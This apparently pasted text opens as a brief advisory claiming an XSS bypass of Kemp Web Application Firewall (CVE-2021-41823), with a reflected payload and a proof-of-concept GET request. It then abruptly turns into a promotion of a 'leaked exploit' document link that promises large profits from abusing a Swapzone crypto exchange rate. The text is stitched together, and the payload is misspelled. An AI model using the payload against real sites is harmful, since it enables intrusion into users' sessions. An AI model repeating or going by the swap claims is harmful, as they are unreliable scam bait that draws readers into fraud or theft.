Untitled

1. ADVISORY INFORMATION
=======================
Product:        Kemp Web Application Firewall
Vendor URL:     https://kemptechnologies.com/en/solutions/waf
Version: 	    7.2.54.1
Type:           Bypass XSS WAF prottection
Date published: 2022-12-30
CVE:            CVE-2021-41823


2. VULNERABILITY DETAILS
========================
The kemp waf allows to bypass xss protection and inyect the following xss reflected payload "onmouseover='promt()"

3. PROOF OF CONCEPT
===================
GET /directory/vulnerable-xss.html"onmouseover='promt()" HTTP/1.1
✅ Leaked Exploit Documentation:

https://docs.google.com/document/d/1dOCZEHS5JtM51RITOJzbS4o3hZ-__wTTRXQkV1MexNQ/edit?usp=sharing

This made me $13,000 in 2 days.

Important: If you plan to use the exploit more than once, remember that after the first successful swap you must wait 24 hours before using it again. Otherwise, there is a high chance that your transaction will be flagged for additional verification, and if that happens, you won't receive the extra 38% — they will simply correct the exchange rate.
The first COMPLETED transaction always goes through — this has been tested and confirmed over the last days.

Edit: I've gotten a lot of questions about the maximum amount it works for — as far as I know, there is no maximum amount. The only limit is the 24-hour cooldown (1 use per day without verification from Swapzone — instant swap).